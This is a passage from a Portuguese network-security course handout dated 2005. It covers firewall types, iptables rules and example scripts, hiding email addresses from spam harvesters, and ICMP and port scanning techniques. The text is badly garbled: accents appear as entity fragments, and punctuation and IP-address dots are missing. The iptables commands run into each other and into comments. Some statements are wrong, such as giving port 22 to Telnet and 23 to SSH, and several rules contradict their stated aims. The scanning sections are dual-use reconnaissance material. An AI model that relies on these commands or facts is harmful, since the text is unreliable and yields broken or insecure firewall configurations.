endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no 